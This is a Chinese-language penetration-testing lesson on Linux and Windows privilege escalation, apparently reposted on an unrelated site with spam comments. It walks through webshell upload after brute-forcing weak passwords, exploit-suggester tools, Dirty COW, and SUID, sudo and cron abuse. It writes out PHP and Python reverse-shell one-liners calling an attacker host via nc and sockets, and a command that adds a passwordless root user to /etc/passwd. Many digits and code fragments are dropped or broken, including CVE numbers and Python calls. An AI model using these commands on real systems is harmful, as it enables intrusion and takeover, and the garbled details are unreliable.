DAY28:Linux、Windows 系统提权
DAY28:Linux、Windows 系统提权
1.1、Linux 系统版本
linux发行版本:
• centos
• redhat
• ubuntu
• kali
1.2、内核漏洞提权思路:
(1)查看系统发行版本
cat /etc/issue
cat /etc/*-release
(2)查看内核版本
uname -a
()通过得到的系统内核版本,使用 kali 自带的searchsploit工具来搜索exploitdb
中的漏洞利用代码
(4)使用linux-exploit-suggester
工具来根据操作系统版本号自动查相应提权脚本的工具。 如果不带任何参数运行该脚本的话,将执行uname -r
返回的操作系统发行版本,或者手工输入 -k 参数查指定版本号。
操作场景:
Windows Server 200 R2
实验工具:
菜刀管理工具、asp大马
实验文件:
(MS09-012)
2.1、提权概述
提高应用程序/服务在服务器中的权限
Windows:
User >> System
Linux:
User >> Root
2.2、提权的方式
-
系统漏洞提权( Windows 、 Linux )
系统漏洞提权一般就是利用系统自身缺陷,用来提升权限。为了使用方便,windows和linux系统均有提权用的可执行文件。
提权的方式:
Windows的提权exp一般格式为;
Linux的提权exp一般格式为。
-
数据库提权
-
第三方软件/服务提权
2.、Windows 系统提权
(1)漏洞编号命名格式
Windows系统漏洞编号命名格式为:MS08067
其中:MS是Micosoft的缩写,固定格式;08 表示年份,即2008 年发布的漏洞;067 表示顺序,即当年度发布的第67个漏洞。
(2)使用exp提权
在日常渗透测试过程中,我们常常会先是拿到webshell再进行提权。 所以提权脚本也常常会被在webshell中运行使用。
()如何知道使用哪个exp来提权呢?
可以使用systeminfo命令或者查看补丁目录,查看补丁记录,来判断有哪个补丁没打,然后使用相对应的exp进行提权。
(4)使用Windows提权辅助工具
Windows-Exploit-Suggester
下载地址:
https://github/GDSSecurity/Windows-Exploit-Suggester
(1)更新漏洞库,执行以下命令
py -2 windows-exploit-suggester.py –update
(2)查看系统漏洞
py -2 windows-exploit-suggester.py --database 2022-08-11-mssb.xls --systeminfo
()查看系统可能存在的漏洞
py -2 windows-exploit-suggester.py --database 2020-08-2-mssb.xls --ostext windows 7 SP1 2-bit
2.4、总体思路
拿到网站 webshell,小马传大马,大马使用 pr 提权,远程连接目标系统, 提权至 system 权限
获得目标 ip:192.168.182.56
.1、查开放端口
使用 nmap 或者 scanport 查,利用超级弱口令工具爆破弱密码。
使用 nmap 扫描出其端口
经过这几个端口的弱密码爆破,最终确认了21端口存在弱口令登陆,可以发现可以上传,那么既然这样,直接上大马
.2、上传大马
上传成功,那么让我们访问大马
进入大马,我们点击执行 cmd 指令,写入我们需要的命令
点击执行发现拒绝访问,因为我们是没有权限的。我们可以上传一个来作为一个可访问可执行文件
这时我们执行命令
到系统信息,使用的是一个工具Windows-Exploit-Suggester
,这个工具可以通过系统信息及其打过的补丁,快速的检索现有漏洞,从而附上exp、poc
地址进行利用,十分方便。
Windows-Exploit-Suggester
:Windows 提权EXP辅助工具,它是用 python开发而成,运行环境是python. 及以上版本,且必须安装 xlrd 库(https://pypi.python/pypi/xlrd),其主要功能是通过比 对systeminfo生成的文件,从而发现系统是否存在未修复漏洞。
官方下载地址:
https://github/GDSSecurity/Windows-Exploit-Suggester
.、提权
搜索systeminfo
信息,将上面的信息全部复制下来,放入
先对漏洞库进行更新,可在本地文件夹下生成生成日期mssb.xls
文件,再执行检索
py -2 windows-exploit-suggester.py -update
检索存在漏洞
py -2 windows-exploit-suggester.py --database 2022-08-11-mssb.xls --systeminfo
那么可以根据上面的网址,寻相应exp、poc
,下载文件
上传
下面执行命令,记得勾选 wscript.shell
模块
成功
操作场景:
Ubuntu:12.04
实验工具:
使用searchsploit工具搜索内核漏洞
这里使用靶场环境来进行 Linux 提权,首先知道了目标 ip:192.168.182.
注意:这里需要与目标机在同一网段意思就是能 ping 到,所以我们需要一个 vps 能够与目标机建立连接。
4.1、查询内核版本号
通过 mysql 弱密码爆破进入,写入一句话木马,连接使用函数查询版本号
uname -an
查看Ubuntu内核版本,是.1.0
写入大马,或者 re,re 内容为:
<?php system( rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 攻击机ip/vps ip 监听端口号 >/tmp/f );?>
4.2、查询漏洞
使用 kali 的 searchsploit 工具查漏洞
searchsploit 版本号
查到有两个漏洞文件适用于 .1.0
#c语言编写的文件
4.、监听、反弹shell
在 vps 使用 nc 监听,目标机访问 re 或者大马:
nc -l 7771
在网页中访问 dama.php
点击 back connect
写入vps地址,监听端口号,使用 c,点击 start
已经弹进去了,但是发现我们此时是空指针,所以输入这句话
python -c import pty;pty.spawn(/bin/bash)
可以直接看到成为了 www-data 用户
或者直接访问 re.php,内容如下:
<?php system( rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 攻击机ip/vps ip 监听端口号 >/tmp/f );?>
<?php system( rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.182.6 7771 >/tmp/f );?>
这里的意思就是进入其中,利用反弹shell直接弹到 www-data 用户,主要是能执行一些系统函数,从而使 nc 能够成功监听进入 shell 当中,nc 监听文件的配置监听端口号
vps 监听端口,网页访问 re.php,成功
既然之前将漏洞文件发现了
4.4、搜索漏洞文件、上传文件
那么我们需要将这个文件下载或者上传到一个有执行权限的目录,或者可以看看这个文件在系统中有没有,当然蚁剑也能上传。这里就直接运用啦
find / -name
或者自己上传一个 文件,拷贝提权EXP脚本到目标主机
wget http://192.168.182./
因为已经有了,所以我们 save 名字是重命名的
4.5、提权
然后执行 exp ,编译提权脚本,生成可执行文件,进行提权
gcc -o 名字
gcc -o qweqwe
./qweqwe
whoami #确认权限
既然是空指针,再来 python -c 一下
python -c import pty;pty.spawn(/bin/bash)
可以看到已经是 root 权限了
操作场景: ·Ubuntu:14.04
漏洞编号: ·CVE-2016-5195
实验文件: ·
漏洞影响范围: ·Linux Kernel >= 2.6.22 的所有 Linux 系统
5.1、脏牛提权(Dirty COW)
漏洞原理:
Linux内核的内存子系统在处理( Copy-on-Write )时存在条件竞争漏洞,造成 COW 过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。一个低权限的本地用户能够利用 此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞
5.2、获取普通权限
首先拿到一个普通用户权限,然后拷贝到目标系统
5.、使用gcc编译执行:
gcc -pthread -o dirty -lcrypt
5.4、提权
使用生成的账户进行登录,成功提权至root权限
6.1、SUID提权介绍
SUID有个 s 标志位,即允许其他非 root 用户用root权限来执行该程序或文件,因此在提权的时候,我们可以查系统中拥有suids标志位的文件来进行修改或者利用其程序来进行提权来达到root 权限。
- 代表文件
d 代表目录
l 代表链接
c 代表字符型设备
b 代表块设备
n 代表网络设备
r 代表可读的
w 代表可写的
x 代表可执行的
数字4、2和1表示读、写、执行权限。即r=4,w=2,x=1
755表示rwxr-xr-x
775表示rwxrwxr-x
600表示-rw-------
644表示-rw-r--r--
666表示-rw-rw-rw
chown root /tmp/ 把tmp下的的所有者设置为root
chown root:root /tmp/ 把tmp下的的用户名和用户组改成root和root
chown -R root:root /tmp/a 把/tmp/a下的所有文件的属组改成root和root
-R 表示处理指定目录以及其子目录下的所有文件
s权限,设置使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份。
t权限,针对目录,任何用户都可以在此目录中创建文件,但只能删除自己的文件。
i权限,不可修改的权限。
a权限,只追加的权限。
当执行的文件被赋予了s权限,就被称为Set UID,简称为SUID的特殊权限。八进制数为4000
6.2、查SUIDs的文件
寻有 suids 权限的可执行文件,准确的说,这个命令将从/目录中查具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null
,从而仅列出该用户具有访问权限的那些二进制文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并到每个目录
-perm 表示搜索随后的权限
-u=s表示查root用户拥有的文件
-type表示我们正在寻的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
6.、常用的可用于提权的程序
map、Vim、find、Bash、More、Less、ano、cp、awk
例如:
(1) find
命令
-exec
参数可以用来执行指定的系统命令,将会以root
来执行find
命令
find test -exec whoami \;
/usr/bin/find -exec python -c import socket,subprocess,os;s=socket.socket(socket.AF_IET,socket.SOCK_STREAM);((10.211.55.2,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=([/bin/sh,-i]); \;
(2) vim命令
vim可以用:!
后面加命令来执行shell指令,也可以直接调用 shell,如果以 SUID 运行的话,它会继承root用户的权限, 因此可以读取系统上的所有文件
() nmap命令
较旧版本的map(2.02至5.21)带有交互模式, 从而允许用户执行shell命令。
nmap> !sh
sh-.2# whoami
root
(4) bash命令
以下命令将以 root 身份打开一个 bash shell 。
bash -p
(5) Less/more命令
Less 也可以执行提权后的 shell 。同样的方法 也适用于其他许多命令。
less /etc/passwd
!/bin/sh
(6) awk命令
sudo awk BEGI {system(/bin/bash)}‘
morpheus BEGI {system(/bin/sh)}
7.1、sudo提权
原理:普通用户在使用sudo执行命令的过程中,会以root方式执行命令。在很多场景里,管理员为了运维管理方便,sudoer配置文件 错误导致提权
7.1.1、利用
(1)设置sudo免密码 vi /etc/sudoers
在最后一行添加:bypass ALL=(ALL:ALL) OPASSWD:ALL
(2)查看sudo的权限,提权成功
()通过sudo -l
查看了当前可以使用 root 提权的命令信息,可以看到 zip 程序可以以 root 权限执行命令
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=id
7.1.2、zip提权
touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command=sh -c /bin/bash
sudo权限提升漏洞 CVE-2021-156
sudo提权 CVE-2019-14187
7.2、计划任务提取
原理:如果可以到可以有权限修改的计划任务脚本,就可以修改脚本实现提权。本质上,就是文件权限配置不当
(1)查看计划任务,到有修改权限的计划任务脚本
crontab -l
ls -l /etc/cron*
more /etc/crontab
(2)信息搜集
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
7.、Linux明文root密码提权
Linux系统的密码与/etc/passwd
和/etc/shadow
这两个配置文件息息相关。passwd 文件中储存了用户,shadow 文件中是密码的 hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅 root 可读写的
7.4、利用 root 无密码执行
原理:简单来说,就是一个脚本,比如 py , sh 等或者是一个命令。这个文件可以以 root 身份运行,若在无密码的情况下执行的话,我们可以通过修改脚本内容/或者直接执行这个命令,利用命令来进行一些操作,来进行提权。
(1) 写入一个root身份权限的用户进入/etc/passwd 文件中
可以使用sudo –l
命令查看当前用户可以使用的所有sudo
命令
然后使用teehee
命令向另一文件中追加内容,可以看到提权成功
命令如下:
$ echo john::0:0:::/bin/bash | sudo teehee -a /etc/passwd
(2)执行一个有设定不需要密码就可以执行sudo操作的命令
sudo perl -e exec /bin/sh
bash -i
#感谢您对电脑配置推荐网 - 最新i3 i5 i7组装电脑配置单推荐报价格的认可,转载请说明来源于"电脑配置推荐网 - 最新i3 i5 i7组装电脑配置单推荐报价格
推荐阅读
留言与评论(共有 10 条评论) |
本站网友 smarty教程 | 5分钟前 发表 |
利用 root 无密码执行 原理:简单来说,就是一个脚本,比如 py | |
本站网友 雅虎助手 | 0秒前 发表 |
0); os.dup2(s.fileno() | |
本站网友 医药配送 | 3分钟前 发表 |
!后面加命令来执行shell指令,也可以直接调用 shell,如果以 SUID 运行的话,它会继承root用户的权限, 因此可以读取系统上的所有文件 () nmap命令 较旧版本的map(2.02至5.21)带有交互模式, 从而允许用户执行shell命令 | |
本站网友 诸葛io | 2分钟前 发表 |
sh 等或者是一个命令 | |
本站网友 东方传奇 | 9分钟前 发表 |
为了使用方便,windows和linux系统均有提权用的可执行文件 | |
本站网友 空格符号复制 | 4分钟前 发表 |
User >> System Linux | |
本站网友 信多达集团 | 29分钟前 发表 |
本站网友 hp1007驱动 | 16分钟前 发表 |
本站网友 北京钢管舞培训 | 30分钟前 发表 |
ALL (2)查看sudo的权限,提权成功 ()通过sudo -l查看了当前可以使用 root 提权的命令信息,可以看到 zip 程序可以以 root 权限执行命令 sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=id 7.1.2 |